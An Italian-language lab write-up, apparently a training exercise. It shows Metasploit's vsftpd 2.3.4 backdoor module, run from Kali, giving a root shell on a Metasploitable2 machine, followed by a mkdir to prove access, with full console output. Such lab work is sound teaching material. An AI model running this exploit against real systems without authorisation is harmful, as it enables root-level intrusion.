

Completare una sessione di hacking con Metasploit sul servizio "vsftpd" per creare una cartella

Per creare una cartella sulla macchina Metasploitable2 in remoto da Kali, si utilizza il software Metasploit, richiamabile con il comando *msfconsole*.

Una volta accertato con *nmap* che la porta 21 ftp sia aperta, si procede su *metasploit*, usando l'exploit *vsftpd*.

Inserito l'indirizzo ip della macchina vittima, si lancia l'exploit. Così facendo verrà creata una connessione, dove, tramite una shell, si possono avere determinati permessi sulla macchina vittima.

```
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.150:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.150:21 - USER: 331 Please specify the password.
[+] 192.168.1.150:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.150:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.149:46181 → 192.168.1.150:6200) at 2024-11-11 09:39:12 -0500

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
mkdir /test_metasploit
```

Come richiesto dall' esercizio, nell' immagine soprastante, si può notare come è stata creata una cartella denominata *test_metasploit* attraverso il comando *mkdir*.

Eseguito il comando, si può verificare come il risultato ottenuto sia visibile sulla macchina vittima metasploitable2:

```
root@metasploitable:/home# cd ..
root@metasploitable:/# /home
bash: /home: is a directory
root@metasploitable:/# cd /home
root@metasploitable:/home# ls
ftp  msfadmin  service  user
root@metasploitable:/home# cd ..
root@metasploitable:/# ls
bin      dev      initrd    lost+found  nohup.out  root  sus      usr
boot     etc      initrd.img  media       opt         sbin  test_metasploit  var
cdrom    home     lib        mnt         proc        srv   [redacted]  vmlinuz
```